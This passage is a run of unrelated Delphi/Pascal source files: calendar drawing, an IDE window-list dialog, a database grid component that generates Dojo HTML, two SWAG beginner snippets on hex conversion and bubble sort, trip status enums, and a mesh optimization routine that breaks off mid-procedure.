DrawCalendarHeaderDay(LongDayNames[7][1],LongDayNames[1][1],LongDayNames[2][1],LongDayNames[3][1],LongDayNames[4][1],LongDayNames[5][1],LongDayNames[6][1], Wblank + W1Calendar + 2, YHeader3 + hheader1, wbox, hbox, C, Color, c.Font.Color, BorderColorLo);
DrawCalendarHeaderDay(LongDayNames[7][1],LongDayNames[1][1],LongDayNames[2][1],LongDayNames[3][1],LongDayNames[4][1],LongDayNames[5][1],LongDayNames[6][1], Wblank + 2*(W1Calendar + 2), YHeader3 + hheader1, wbox, hbox, C, Color, c.Font.Color, BorderColorLo);
DrawCalendarHeaderDay(LongDayNames[7][1],LongDayNames[1][1],LongDayNames[2][1],LongDayNames[3][1],LongDayNames[4][1],LongDayNames[5][1],LongDayNames[6][1], Wblank, YHeader4 + hheader1, wbox, hbox, C, Color, c.Font.Color, BorderColorLo);
DrawCalendarHeaderDay(LongDayNames[7][1],LongDayNames[1][1],LongDayNames[2][1],LongDayNames[3][1],LongDayNames[4][1],LongDayNames[5][1],LongDayNames[6][1], Wblank + W1Calendar + 2, YHeader4 + hheader1, wbox, hbox, C, Color, c.Font.Color, BorderColorLo);
DrawCalendarHeaderDay(LongDayNames[7][1],LongDayNames[1][1],LongDayNames[2][1],LongDayNames[3][1],LongDayNames[4][1],LongDayNames[5][1],LongDayNames[6][1], Wblank + 2*(W1Calendar + 2), YHeader4 + hheader1, wbox, hbox, C, Color, c.Font.Color, BorderColorLo);
end;
{--- On dessine les Jours-----}
Jour := encodeDate(year,01,01);
For i := 0 to high(lstdaybox) do begin
if DayOfTheMonth(Jour) = 1 then begin
GrayJour := Jour - 1;
R := LstDayBox[i].R;
r.Left := r.Left - Wbox;
R.Right := r.Right - wbox;
while DayOfTheWeek(GrayJour) <> DayFriday do begin
DrawCalendarBox(inttostr(DayOfTheMonth(GrayJour)), Color, DisableFontColor, R, C);
r.Left := r.Left - Wbox;
R.Right := r.Right - wbox;
GrayJour := GrayJour - 1;
end;
end;
DrawCalendarBox(inttostr(DayOfTheMonth(Jour)), LstDayBox[i].BackgroundColor, LstDayBox[i].FontColor, LstDayBox[i].R, C);
jour := jour + 1;
if DayOfTheMonth(Jour) = 1 then begin
GrayJour := Jour;
R := LstDayBox[i].R;
r.Left := r.Left + Wbox;
R.Right := r.Right + wbox;
while DayOfTheWeek(GrayJour) <> DaySaturday do begin
DrawCalendarBox(inttostr(DayOfTheMonth(GrayJour)), Color, DisableFontColor, R, C);
r.Left := r.Left + Wbox;
R.Right := r.Right + wbox;
GrayJour := GrayJour + 1;
end;
end;
end;
end;
end.
|
unit ideSHWindowListFrm;
interface
uses
SHDesignIntf,
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ideSHBaseDialogFrm, StdCtrls, ExtCtrls, VirtualTrees, AppEvnts,
ImgList, ToolWin, ComCtrls;
type
TWindowListForm = class(TBaseDialogForm)
Panel1: TPanel;
Tree: TVirtualStringTree;
ImageList1: TImageList;
ToolBar1: TToolBar;
Edit1: TEdit;
Bevel4: TBevel;
procedure FormCreate(Sender: TObject);
procedure TreeGetNodeDataSize(Sender: TBaseVirtualTree;
var NodeDataSize: Integer);
procedure TreeFreeNode(Sender: TBaseVirtualTree;
Node: PVirtualNode);
procedure TreeGetImageIndex(Sender: TBaseVirtualTree;
Node: PVirtualNode; Kind: TVTImageKind; Column: TColumnIndex;
var Ghosted: Boolean; var ImageIndex: Integer);
procedure TreeGetText(Sender: TBaseVirtualTree; Node: PVirtualNode;
Column: TColumnIndex; TextType: TVSTTextType;
var CellText: WideString);
procedure FormShow(Sender: TObject);
procedure TreeDblClick(Sender: TObject);
procedure TreeIncrementalSearch(Sender: TBaseVirtualTree;
Node: PVirtualNode; const SearchText: WideString;
var Result: Integer);
procedure TreeFocusChanged(Sender: TBaseVirtualTree;
Node: PVirtualNode; Column: TColumnIndex);
procedure Edit1Change(Sender: TObject);
procedure ToolBar1Resize(Sender: TObject);
private
{ Private declarations }
procedure RecreateWindowList;
procedure FindObject(const S: string);
public
{ Public declarations }
procedure DoShowWindow;
end;
//var
// WindowListForm: TWindowListForm;
procedure ShowWindowListForm;
implementation
uses
ideSHConsts, ideSHSystem;
{$R *.dfm}
type
PTreeRec = ^TTreeRec;
TTreeRec = record
NormalText: string;
StaticText: string;
Instance: Integer;
ImageIndex: Integer;
end;
procedure ShowWindowListForm;
var
WindowListForm: TWindowListForm;
begin
WindowListForm := TWindowListForm.Create(Application);
try
if IsPositiveResult(WindowListForm.ShowModal) then
WindowListForm.DoShowWindow;
finally
FreeAndNil(WindowListForm);
end;
end;
{ TWindowListForm }
procedure TWindowListForm.FormCreate(Sender: TObject);
begin
SetFormSize(540, 340);
Position := poScreenCenter;
inherited;
Caption := Format('%s', [SCaptionDialogWindowList]);
end;
procedure TWindowListForm.FormShow(Sender: TObject);
begin
inherited;
RecreateWindowList;
if Assigned(Tree.FocusedNode) then
begin
Edit1.Text := DesignerIntf.CurrentComponent.Caption;
FindObject(Edit1.Text);
end;
end;
procedure TWindowListForm.RecreateWindowList;
var
I, J: Integer;
NodeData: PTreeRec;
FirstNode, SecondNode, ThirdNode: PVirtualNode;
CallStrings: TStrings;
begin
Tree.Images := DesignerIntf.ImageList;
CallStrings := TStringList.Create;
try
Screen.Cursor := crHourGlass;
Tree.BeginUpdate;
Tree.Clear;
FirstNode := nil;
for I := 0 to Pred(ObjectEditorIntf.PageCtrl.PageCount) do
begin
SecondNode := Tree.AddChild(FirstNode);
NodeData := Tree.GetNodeData(SecondNode);
NodeData.NormalText := Format('%s', [ObjectEditorIntf.GetComponent(I).CaptionExt]);
NodeData.Instance := Integer(ObjectEditorIntf.GetComponent(I));
NodeData.ImageIndex := DesignerIntf.GetImageIndex(ObjectEditorIntf.GetComponent(I).ClassIID);
CallStrings.Assign(ObjectEditorIntf.GetCallStrings(I));
for J := 0 to Pred(CallStrings.Count) do
begin
ThirdNode := Tree.AddChild(SecondNode);
NodeData := Tree.GetNodeData(ThirdNode);
NodeData.NormalText := Format('%s', [CallStrings.Strings[J]]);
NodeData.Instance := Integer(ObjectEditorIntf.GetComponent(I));
NodeData.ImageIndex := DesignerIntf.GetImageIndex(CallStrings.Strings[J]);
end;
// Tree.Expanded[SecondNode] := True;
end;
Tree.FocusedNode := Tree.GetFirst;
Tree.Selected[Tree.FocusedNode] := True;
finally
Tree.EndUpdate;
Screen.Cursor := crDefault;
CallStrings.Free;
end;
end;
procedure TWindowListForm.FindObject(const S: string);
var
Node: PVirtualNode;
NodeData: PTreeRec;
begin
Node := Tree.GetFirst;
if Assigned(Node) then
begin
while Assigned(Node) do
begin
NodeData := Tree.GetNodeData(Node);
if Pos(AnsiUpperCase(S), AnsiUpperCase(NodeData.NormalText)) = 1 then
begin
Tree.FocusedNode := Node;
Tree.Selected[Tree.FocusedNode] := True;
Break;
end else
Node := Tree.GetNext(Node);
end;
if not Assigned(Node) then
begin
Tree.FocusedNode := Tree.GetFirst;
Tree.Selected[Tree.FocusedNode] := True;
end;
end;
end;
procedure TWindowListForm.DoShowWindow;
var
Data: PTreeRec;
begin
if Assigned(Tree.FocusedNode) and Assigned(MainIntf) then
begin
Data := Tree.GetNodeData(Tree.FocusedNode);
case Tree.GetNodeLevel(Tree.FocusedNode) of
0: if Data.Instance <> 0 then MegaEditorIntf.Add(TSHComponent(Data.Instance), EmptyStr);
1: if Data.Instance <> 0 then MegaEditorIntf.Add(TSHComponent(Data.Instance), Data.NormalText);
end;
end;
end;
{ Tree }
procedure TWindowListForm.TreeGetNodeDataSize(
Sender: TBaseVirtualTree; var NodeDataSize: Integer);
begin
NodeDataSize := SizeOf(TTreeRec);
end;
procedure TWindowListForm.TreeFreeNode(Sender: TBaseVirtualTree;
Node: PVirtualNode);
var
Data: PTreeRec;
begin
Data := Sender.GetNodeData(Node);
if Assigned(Data) then Finalize(Data^);
end;
procedure TWindowListForm.TreeGetImageIndex(
Sender: TBaseVirtualTree; Node: PVirtualNode; Kind: TVTImageKind;
Column: TColumnIndex; var Ghosted: Boolean; var ImageIndex: Integer);
var
Data: PTreeRec;
begin
Data := Tree.GetNodeData(Node);
if (Kind = ikNormal) or (Kind = ikSelected) then
ImageIndex := Data.ImageIndex;
end;
procedure TWindowListForm.TreeGetText(Sender: TBaseVirtualTree;
Node: PVirtualNode; Column: TColumnIndex; TextType: TVSTTextType;
var CellText: WideString);
var
Data: PTreeRec;
begin
Data := Tree.GetNodeData(Node);
case TextType of
ttNormal: CellText := Data.NormalText;
ttStatic: ;
end;
end;
procedure TWindowListForm.TreeDblClick(Sender: TObject);
begin
if Assigned(Tree.FocusedNode) then ModalResult := mrOK;
end;
procedure TWindowListForm.TreeIncrementalSearch(Sender: TBaseVirtualTree;
Node: PVirtualNode; const SearchText: WideString; var Result: Integer);
var
Data: PTreeRec;
begin
Data := Tree.GetNodeData(Node);
if Pos(AnsiUpperCase(SearchText), AnsiUpperCase(Data.NormalText)) <> 1 then
Result := 1;
end;
procedure TWindowListForm.TreeFocusChanged(Sender: TBaseVirtualTree;
Node: PVirtualNode; Column: TColumnIndex);
var
Data: PTreeRec;
begin
Data := nil;
case Tree.GetNodeLevel(Node) of
0: Data := Tree.GetNodeData(Node);
1: Data := Tree.GetNodeData(Node.Parent);
end;
if Assigned(Data) and (Screen.ActiveControl = Sender) then
Edit1.Text := Data.NormalText;
end;
procedure TWindowListForm.Edit1Change(Sender: TObject);
begin
if Screen.ActiveControl = Sender then FindObject(Edit1.Text);
end;
procedure TWindowListForm.ToolBar1Resize(Sender: TObject);
begin
Edit1.Width := Edit1.Parent.ClientWidth;
end;
end.
|
unit tpGrid;
interface
uses
SysUtils, Classes, Controls, Graphics, Forms,
DB, ADODB,
VirtualTrees,
LrGraphics, LrTextPainter,
htDatabases, htDocument, htComponent, htControls, htGeneric;
type
TtpGrid = class(ThtCustomControl)
private
FDataSet: TAdoDataSet;
FGrid: TVirtualStringTree;
FDataSource: string;
FConnectionStatus: string;
FTableName: string;
protected
procedure Connect;
procedure CreateConnection;
procedure CreateGrid;
procedure Disconnect;
procedure Generate(const inContainer: string;
inDocument: ThtDocument); override;
function GetConnected: Boolean;
procedure GridGetText(Sender: TBaseVirtualTree; Node: PVirtualNode;
Column: TColumnIndex; TextType: TVSTTextType;
var CellText: WideString);
procedure SetConnected(const Value: Boolean);
procedure SetConnectionStatus(const Value: string);
procedure SetDataSource(const Value: string);
procedure SetTableName(const Value: string);
procedure UpdateData;
procedure UpdateGrid;
procedure UpdateHeader;
public
constructor Create(inOwner: TComponent); override;
published
property Align;
property Connected: Boolean read GetConnected write SetConnected;
property ConnectionStatus: string read FConnectionStatus
write SetConnectionStatus;
property DataSource: string read FDataSource write SetDataSource;
property TableName: string read FTableName write SetTableName;
//property Outline;
property Style;
end;
implementation
uses
Project, Controller;
{ TtpGrid }
constructor TtpGrid.Create(inOwner: TComponent);
begin
inherited;
CreateGrid;
CreateConnection;
end;
procedure TtpGrid.CreateConnection;
begin
FDataSet := TAdoDataSet.Create(Self);
FDataSet.CommandType := cmdTable;
FDataSet.CursorLocation := clUseClient;
//FDataSet.LoginPrompt := false;
Disconnect;
if (DataSource = '') and (Controller.Project.Databases.Count > 0) then
DataSource := Controller.Project.Databases[0].DisplayName;
end;
procedure TtpGrid.CreateGrid;
begin
FGrid := TVirtualStringTree.Create(Self);
with FGrid do
begin
Parent := Self;
Visible := true;
Align := alClient;
BevelInner := bvNone;
BevelKind := bkFlat;
BorderStyle := bsNone;
Header.Options := Header.Options + [ hoVisible ];
Header.Style := hsXPStyle;
TreeOptions.MiscOptions :=
TreeOptions.MiscOptions + [toGridExtensions{, toReadOnly}];
TreeOptions.PaintOptions :=
TreeOptions.PaintOptions
+ [ toHotTrack, toShowVertGridLines, toShowHorzGridLines ]
- [ toShowButtons, toShowRoot ];
OnGetText := GridGetText;
end;
end;
procedure TtpGrid.Connect;
begin
if not FDataSet.Active and (TableName <> '') then
try
FDataSet.Active := true;
ConnectionStatus := 'Connected';
except
on E: Exception do
ConnectionStatus := E.Message;
end;
UpdateGrid;
end;
procedure TtpGrid.Disconnect;
begin
FDataSet.Active := false;
ConnectionStatus := 'Disconnected';
UpdateGrid;
end;
procedure TtpGrid.UpdateGrid;
begin
if Connected then
begin
UpdateHeader;
UpdateData;
end else
begin
UpdateData;
UpdateHeader;
end;
end;
procedure TtpGrid.SetConnectionStatus(const Value: string);
begin
FConnectionStatus := Value;
end;
function TtpGrid.GetConnected: Boolean;
begin
Result := FDataSet.Active;
end;
procedure TtpGrid.SetConnected(const Value: Boolean);
begin
if Value then
Connect
else
Disconnect;
end;
procedure TtpGrid.SetDataSource(const Value: string);
procedure SetDatabase(inDatabase: ThtDatabaseItem);
begin
if inDatabase <> nil then
begin
FDataSet.ConnectionString := inDatabase.ODBC;
Connect;
end;
end;
begin
if FDataSource <> Value then
begin
FDataSource := Value;
Disconnect;
SetDatabase(
Controller.Project.Databases.DatabaseByDisplayName[FDataSource]);
end;
end;
procedure TtpGrid.SetTableName(const Value: string);
begin
if (Value <> FTableName) then
begin
FTableName := Value;
Disconnect;
FDataSet.CommandText := FTableName;
Connect;
end;
end;
procedure TtpGrid.UpdateHeader;
var
i: Integer;
begin
FGrid.Header.Columns.BeginUpdate;
try
FGrid.Header.Columns.Clear;
if Connected then
begin
for i := 0 to Pred(FDataSet.FieldCount) do
with FGrid.Header.Columns.Add do
with FDataSet.FieldDefs[i] do
begin
Text := DisplayName;
if (Size > 0) then
Width := Size * 16;
end;
end;
finally
FGrid.Header.Columns.EndUpdate;
end;
end;
procedure TtpGrid.UpdateData;
begin
if Connected then
FGrid.RootNodeCount := FDataSet.RecordCount
else
FGrid.RootNodeCount := 0;
end;
procedure TtpGrid.GridGetText(Sender: TBaseVirtualTree;
Node: PVirtualNode; Column: TColumnIndex; TextType: TVSTTextType;
var CellText: WideString);
begin
FDataSet.RecNo := Node.Index + 1;
CellText := FDataSet.Fields[Column].AsString;
end;
procedure TtpGrid.Generate(const inContainer: string;
inDocument: ThtDocument);
var
s: string;
begin
with inDocument do
begin
Add(Format('<div id="%s"%s>', [ Name, ExtraAttributes ]));
Add('<img src="images/table.png" border="0" dojoType="Grid" />');
Add('</div>');
Styles.Add(
Format('#%s { position: relative; width: 98%%; height: %dpx; overflow: hidden;}',
[ Name, Height ]));
s := Style.InlineAttribute;
if (s <> '') then
inDocument.Styles.Add(Format('#%s { %s }', [ Name, s ]));
//
with CreateFunctionTag('loadGrid(inData)') do
begin
Add(
'grid.DataSource.setData(inData);'#13 +
'grid.buildGrid();'#13 +
'// IE needs another chance to fix scrollbars'#13 +
'window.setTimeout(grid.doResize, 100);'
);
end;
//
with InitCode do
begin
Add(
'grid = dojo.webui.widgetManager.getWidgetsOfType("Grid")[0];'#13
+ 'grid.DataSource = new dojo.dataSource();'#13
+ 'turbo.rpc.call("taj/tajServer.php", [ [ "getRows", "' + TableName + '" ] ], loadGrid);'#13
//'grid.DataSource.setData([ [ "Alpha", "Beta" ], [ "A", "B" ], [ "A", "B" ], [ "A", "B" ], [ "A", "B" ] ]);'#13 +
//'grid.buildGrid();'#13
);
end;
end;
end;
initialization
RegisterClass(TVirtualStringTree);
end.
|
(*
Category: SWAG Title: BITWISE TRANSLATIONS ROUTINES
Original name: 0014.PAS
Description: HEXINFO.PAS
Author: SWAG SUPPORT TEAM
Date: 05-28-93 13:53
*)
{
> I am learning Pascal and don't understand something. How does the
> following Function make a Word into Hex:
It's Really doing two things, it's converting a binary value
into ascii, and from decimal to hex. Let's start With the
calling or main part of the Program. You're taking a 2 Byte
Word and breaking it up into 4 nibbles of 4 bits each. Each of
these nibbles is displayed as a Single hex Character 0-F.
Hex Representation XXXX
||||
HexStr := HexStr + Translate(Hi(W) shr 4); -----------||||
HexStr := HexStr + Translate(Hi(W) and 15);------------|||
HexStr := HexStr + Translate(Lo(W) shr 4); -------------||
HexStr := HexStr + Translate(Lo(W) and 15);--------------|
Now the translate Function simply converts the decimal value of
the 4-bit nibble into an ascii hex value. if you look at an
ascii Chart you will see how this is done:
'0' = 48 '5' = 53 'A' = 65
'1' = 49 '6' = 54 'B' = 66
'2' = 50 '7' = 55 'C' = 67
'3' = 51 '8' = 56 'D' = 68
'4' = 52 '9' = 57 'E' = 69
'F' = 70
As you can see it easy For 0-9, you just add 48 to the value and
it's converted, but when you go to convert 10 to A, you need to
use a different offset, so For values above 9 you add 55.
}
Function Translate(B : Byte) : Char;
begin
if B < 10 then
Translate := Chr(B + 48)
else
Translate := Chr(B + 55);
end;
begin
WriteLn( Translate(14) );
end.
|
(*
Category: SWAG Title: SORTING ROUTINES
Original name: 0004.PAS
Description: BUBBLE1.PAS
Author: SWAG SUPPORT TEAM
Date: 05-28-93 13:57
*)
{
> Does anyone know of a routine or code that would allow For a
> alphabetical sort?
Depends on what Type of sorting you want to do- For a very small list, a
simple BubbleSort will suffice.
}
Const
max = 50;
Var
i,j:Integer;
a : Array[1..max] of String;
temp : String;
begin
For i := 1 to 50 do
For j := 1 to 50 do
if a[i] < a[j] then
begin
temp := a[i];
a[i] := a[j];
a[j] := temp;
end; { if }
end.
{
If it's a bigger list than, say 100 or so elements, or it needs to be
sorted often, you'll probably need a better algorithm, like a shell sort
or a quicksort.
}
|
unit Ils.PlanFact.Status;
interface
uses
Ils.MySql.EnumPublisher;
type
TWaypointStatus = (
wsNotVisited, //не посещена
wsVisitInProgress, //обслуживается
wsVisited, //посещена
wsVisitedOutrunning, //посещена с допустимым опережением
wsVisitedDelay, //посещена с допустимым опозданием
wsVisitedOutrunningHard, //посещена с опережением
wsVisitedDelayHard //посещена с опозданием
);
const
CWaypointStatusKindTable = 'waypointstatus';
CWaypointStatusInfo: array[TWaypointStatus] of TEnumTextInfo = (
(Name: 'NotVisited'; Comment: 'не посещена'),
(Name: 'VisitInProgress'; Comment: 'обслуживается'),
(Name: 'Visited'; Comment: 'посещена'),
(Name: 'VisitedOutrunning'; Comment: 'посещена с допустимым опережением'),
(Name: 'VisitedDelay'; Comment: 'посещена с допустимым опозданием'),
(Name: 'VisitedOutrunningHard'; Comment: 'посещена с опережением'),
(Name: 'VisitedDelayHard'; Comment: 'посещена с опозданием')
);
type
TTripStatus = (
tsToExecute = 100, // Рейс поставлен на исполнение
// начало движения из гаража без груза
tsStarted = 101, // Рейс начат, груза нет
// исполняемые
tsInProgress = 102, // Рейс в процессе, машина с грузом
tsInProgressOutrunning = 103, // Рейс в процессе, машина с грузом, есть опережение
tsInProgressDelay = 104, // Рейс в процессе, машина с грузом, есть опоздание
// возврат в гараж без груза
tsReturn = 105, // Возврат на базу, груза нет
tsReturnOutrunning = 106, // Возврат на базу, груза нет, есть опережение
tsReturnDelay = 107, // Возврат на базу, груза нет, есть опоздание
// закрытые успешные
tsFinished = 200, // Завершён
tsFinishedOutrunning = 201, // Завершён с опережением
tsFinishedDelay = 202, // Завершён с опозданием
// закрытые проваленные
tsFailed = 203, // Не выполнен
tsCancelled = 204, // Отменён
// частично закрытые успешные
tsPartiallyFinished = 205, // Завершён, есть непосещённые точки
tsPartiallyFinishedOutrunning = 206, // Завершён с опережением, есть непосещённые точки
tsPartiallyFinishedDelay = 207, // Завершён с опозданием, есть непосещённые точки
// закрытые как некорректные
tsInvalid = 208, // Отклонён, как некорректный
// шаблоны для Факт-План РАИ
tsFPTemplate = 300 // Шаблон для генерации рейсов АФП
);
const
CTripStatusKindTable = 'tripstatus';
CTripTrackTrackableStatuses = [
tsStarted,
tsInProgress,
tsInProgressOutrunning,
tsInProgressDelay
];
CTripTrackNotificableStatuses = [
tsInProgress,
tsInProgressOutrunning,
tsInProgressDelay
];
type
TTripCheckError = (
tchsOK,
tchsDuplicatePointStart // дублирование времени плановых точек
);
implementation
end.
|
unit MeshOptimizationTool;
interface
uses Geometry, BasicMathsTypes, BasicDataTypes, BasicRenderingTypes, NeighborDetector, StopWatch, IntegerList,
GLConstants, Dialogs, SysUtils, BasicFunctions, VertexTransformationUtils,
IntegerSet, TriangleNeighbourSet, math3d;
{$INCLUDE source/Global_Conditionals.inc}
type
TAMatrix = array of TMatrix;
TMeshOptimizationTool = class
private
VertexNeighbors,FaceNeighbors: TNeighborDetector;
BorderVertexes: abool;
FIgnoreColours: boolean;
FAngle : single;
FAngleBorder : single;
// Removable Vertexes Detection
procedure DetectUselessVertexes(var _Vertices, _Normals, _FaceNormals : TAVector3f; var _Colours : TAVector4f; var _VertexTransformation: aint32);
procedure DetectUselessVertexesIgnoringColours(var _Vertices, _Normals, _FaceNormals : TAVector3f; const _Textures: TAVector2f; var _VertexTransformation: aint32);
// Merge Vertexes
procedure MergeVertexes(var _Vertices, _Normals: TAVector3f; var _VertexTransformation: aint32);
procedure MergeVertexesWithTextures(var _Vertices, _Normals,_FaceNormals: TAVector3f; var _TexCoords : TAVector2f; var _VertexTransformation: aint32; const _Faces: auint32; _VerticesPerFace: integer);
// Merge Vertex Utils
function areBorderVertexesHiddenByTriangle(var _Vertices: TAVector3f; _V: TVector3f; var _NeighbourList: CTriangleNeighbourSet; var _BorderList: CIntegerSet; const _NormalMatrix : TAMatrix): boolean;
procedure AddBordersNeighborsFromVertex(_vertex: integer; var _BorderList: CIntegerSet);
procedure AddNeighbourFaces(_Vertex: integer; var _FaceList: CTriangleNeighbourSet; var _VisitedFaces: CIntegerSet; const _Faces: auint32; _VerticesPerFace: integer);
// Miscellaneous
function GetBorderVertexList(const _Vertices: TAVector3f; const _Faces : auint32; _VerticesPerFace : integer): abool;
public
// Constructors and Destructors
constructor Create(_IgnoreColors: boolean; _Angle: single);
destructor Destroy; override;
// Executes
procedure Execute(var _Vertices, _VertexNormals, _FaceNormals : TAVector3f; var _VertexColours,_FaceColours : TAVector4f; var _TexCoords : TAVector2f; var _Faces : auint32; _VerticesPerFace,_ColoursType,_NormalsType : integer; var _NumFaces: longword);
end;
implementation
constructor TMeshOptimizationTool.Create(_IgnoreColors: boolean; _Angle: single);
begin
VertexNeighbors := TNeighborDetector.Create;
FaceNeighbors := TNeighborDetector.Create(C_NEIGHBTYPE_VERTEX_FACE);
SetLength(BorderVertexes,0);
FIgnoreColours := _IgnoreColors;
FAngle := _Angle;
FAngleBorder := _Angle;
end;
destructor TMeshOptimizationTool.Destroy;
begin
SetLength(BorderVertexes,0);
// Clean up memory
VertexNeighbors.Free;
FaceNeighbors.Free;
end;
procedure TMeshOptimizationTool.Execute(var _Vertices, _VertexNormals, _FaceNormals : TAVector3f; var _VertexColours,_FaceColours : TAVector4f; var _TexCoords : TAVector2f; var _Faces : auint32; _VerticesPerFace,_ColoursType,_NormalsType : integer; var _NumFaces: longword);
var
VertexTransformation : aint32;
v, Value,HitCounter : integer;
VertexBackup,NormalsBackup: TAVector3f;
ColoursBackup: TAVector4f;
TextureBackup: TAVector2f;
FacesBackup: aint32;
{$ifdef OPTIMIZATION_INFO}
OriginalVertexCount,RemovableVertexCount, BorderVertexCount, BorderRemovable: integer;
{$endif}
begin
VertexNeighbors.BuildUpData(_Faces,_VerticesPerFace,High(_Vertices)+1);
FaceNeighbors.BuildUpData(_Faces,_VerticesPerFace,High(_Vertices)+1);
if (High(_TexCoords) > 0) then
begin
BorderVertexes := GetBorderVertexList(_Vertices,_Faces,_VerticesPerFace);
end
else
begin
SetLength(BorderVertexes,High(_Vertices)+1);
for v := Low(BorderVertexes) to High(BorderVertexes) do
begin
BorderVertexes[v] := false;
end;
end;
SetLength(VertexTransformation,High(_Vertices)+1);
// Step 1: check vertexes that can be removed.
if FIgnoreColours then
begin
DetectUselessVertexesIgnoringColours(_Vertices,_VertexNormals,_FaceNormals,_TexCoords,VertexTransformation);
end
else
begin
DetectUselessVertexes(_Vertices,_VertexNormals,_FaceNormals,_VertexColours,VertexTransformation);
end;
{$ifdef OPTIMIZATION_INFO}
RemovableVertexCount := 0;
BorderVertexCount := 0;
BorderRemovable := 0;
for v := Low(_Vertices) to High(_Vertices) do
begin
if BorderVertexes[v] then
begin
inc(BorderVertexCount);
end;
if VertexTransformation[v] = -1 then
begin
inc(RemovableVertexCount);
if BorderVertexes[v] then
begin
inc(BorderRemovable);
end;
end;
end;
OriginalVertexCount := High(_Vertices)+1;
ShowMessage('This mesh originally has ' + IntToStr(OriginalVertexCount) + ' vertexes and ' + IntToStr(High(_FaceNormals)+1) + ' faces. From the vertexes, ' + IntToStr(BorderVertexCount) + ' of them are at the border of partitions and ' + IntToStr(High(_Vertices)+1-BorderVertexCount) + ' are not. We have found ' + IntToStr(RemovableVertexCount) + ' that could be potentially eliminated. From them, ' + IntToStr(BorderRemovable) + ' are border vertexes while ' + IntToStr(RemovableVertexCount - BorderRemovable) + ' are not.');
{$endif}
// Step 2: Find edges from potentialy removed vertexes.
if High(_TexCoords) < 0 then
begin
MergeVertexes(_Vertices,_VertexNormals,VertexTransformation);
end
else
begin
MergeVertexesWithTextures(_Vertices,_VertexNormals,_FaceNormals,_TexCoords,VertexTransformation,_Faces,_VerticesPerFace);
end;
// Step 3: Convert the vertexes from the faces to the new values.
for v := Low(_Faces) to High(_Faces) do
begin
_Faces[v] := VertexTransformation[_Faces[v]];
end;
// Step 4: Get the positions of the vertexes in the new vertex list.
HitCounter := 0;
for v := Low(_Vertices) to High(_Vertices) do
begin
if VertexTransformation[v] <> v then
begin
VertexTransformation[v] := -1; // eliminated
end
else
begin
VertexTransformation[v] := HitCounter;
inc(HitCounter);
end;
end;
// Step 5: Backup vertexes.
SetLength(VertexBackup,High(_Vertices)+1);
for v := Low(_Vertices) to High(_Vertices) do
begin
VertexBackup[v].X := _Vertices[v].X;
VertexBackup[v].Y := _Vertices[v].Y;
VertexBackup[v].Z := _Vertices[v].Z;
end;
SetLength(NormalsBackup,High(_Vertices)+1);
for v := Low(_Vertices) to High(_Vertices) do
begin
NormalsBackup[v].X := _VertexNormals[v].X;
NormalsBackup[v].Y := _VertexNormals[v].Y;
NormalsBackup[v].Z := _VertexNormals[v].Z;
end;
SetLength(ColoursBackup,High(_Vertices)+1);
for v := Low(_Vertices) to High(_Vertices) do
begin
ColoursBackup[v].X := _VertexColours[v].X;
ColoursBackup[v].Y := _VertexColours[v].Y;
ColoursBackup[v].Z := _VertexColours[v].Z;
ColoursBackup[v].W := _VertexColours[v].W;
end;
SetLength(TextureBackup,High(_Vertices)+1);
for v := Low(_Vertices) to High(_Vertices) do
begin
TextureBackup[v].U := _TexCoords[v].U;
TextureBackup[v].V := _TexCoords[v].V;
end;
// Step 6: Now we rewrite the vertex list.
SetLength(_Vertices,HitCounter);
for v := Low(VertexTransformation) to High(VertexTransformation) do
begin
if VertexTransformation[v] <> -1 then
begin
_Vertices[VertexTransformation[v]].X := VertexBackup[v].X;
_Vertices[VertexTransformation[v]].Y := VertexBackup[v].Y;
_Vertices[VertexTransformation[v]].Z := VertexBackup[v].Z;
end;
end;
SetLength(VertexBackup,0);
SetLength(_VertexNormals,HitCounter);
for v := Low(VertexTransformation) to High(VertexTransformation) do
begin
if VertexTransformation[v] <> -1 then
begin
_VertexNormals[VertexTransformation[v]].X := NormalsBackup[v].X;
_VertexNormals[VertexTransformation[v]].Y := NormalsBackup[v].Y;
_VertexNormals[VertexTransformation[v]].Z := NormalsBackup[v].Z;
end;
end;
SetLength(NormalsBackup,0);
SetLength(_VertexColours,HitCounter);
for v := Low(VertexTransformation) to High(VertexTransformation) do
begin
if VertexTransformation[v] <> -1 then
begin
_VertexColours[VertexTransformation[v]].X := ColoursBackup[v].X;
_VertexColours[VertexTransformation[v]].Y := ColoursBackup[v].Y;
_VertexColours[VertexTransformation[v]].Z := ColoursBackup[v].Z;
_VertexColours[VertexTransformation[v]].W := ColoursBackup[v].W;
end;
end;
SetLength(ColoursBackup,0);
SetLength(_TexCoords,HitCounter);
for v := Low(VertexTransformation) to High(VertexTransformation) do
begin
if VertexTransformation[v] <> -1 then
begin
_TexCoords[VertexTransformation[v]].U := TextureBackup[v].U;
_TexCoords[VertexTransformation[v]].V := TextureBackup[v].V;
end;
end;
SetLength(TextureBackup,0);
// Step 7: Reconvert the vertexes from the faces to the new values.
for v := Low(_Faces) to High(_Faces) do
begin
_Faces[v] := VertexTransformation[_Faces[v]];
end;
// Step 8: Backup faces.
SetLength(FacesBackup,High(_Faces)+1);
for v := Low(_Faces) to High(_Faces) do
begin
FacesBackup[v] := _Faces[v];
end;
SetLength(NormalsBackup,High(_FaceNormals)+1);
for v := Low(_FaceNormals) to High(_FaceNormals) do
begin
NormalsBackup[v].X := _FaceNormals[v].X;
NormalsBackup[v].Y := _FaceNormals[v].Y;
NormalsBackup[v].Z := _FaceNormals[v].Z;
end;
SetLength(ColoursBackup,High(_FaceColours)+1);
for v := Low(_FaceColours) to High(_FaceColours) do
begin
ColoursBackup[v].X := _FaceColours[v].X;
ColoursBackup[v].Y := _FaceColours[v].Y;
ColoursBackup[v].Z := _FaceColours[v].Z;
ColoursBackup[v].W := _FaceColours[v].W;
end;
// Step 9: Check for faces with two or more equal vertexes and mark
// them for elimination.
for v := Low(_Vertices) to High(_Vertices) do
begin
VertexTransformation[v] := 0; // we'll use this vector to detect repetition.
end;
v := 0;
while v <= High(_Faces) do
begin
// Check for repetition
Value := v;
while Value < (v + _VerticesPerFace) do
begin
if VertexTransformation[_Faces[Value]] = 0 then
begin
VertexTransformation[_Faces[Value]] := 1;
inc(Value);
end
else // We have a repetition and we'll wipe this face.
begin
Value := v + _VerticesPerFace + 1;
end;
end;
if Value < (v + _VerticesPerFace + 1) then
begin
// Quickly clean up VertexTransformation
Value := v;
while Value < (v + _VerticesPerFace) do
begin
VertexTransformation[_Faces[Value]] := 0;
inc(Value);
end;
end
else
begin
// Face elimination happens here.
Value := v;
while Value < (v + _VerticesPerFace) do
begin
VertexTransformation[_Faces[Value]] := 0;
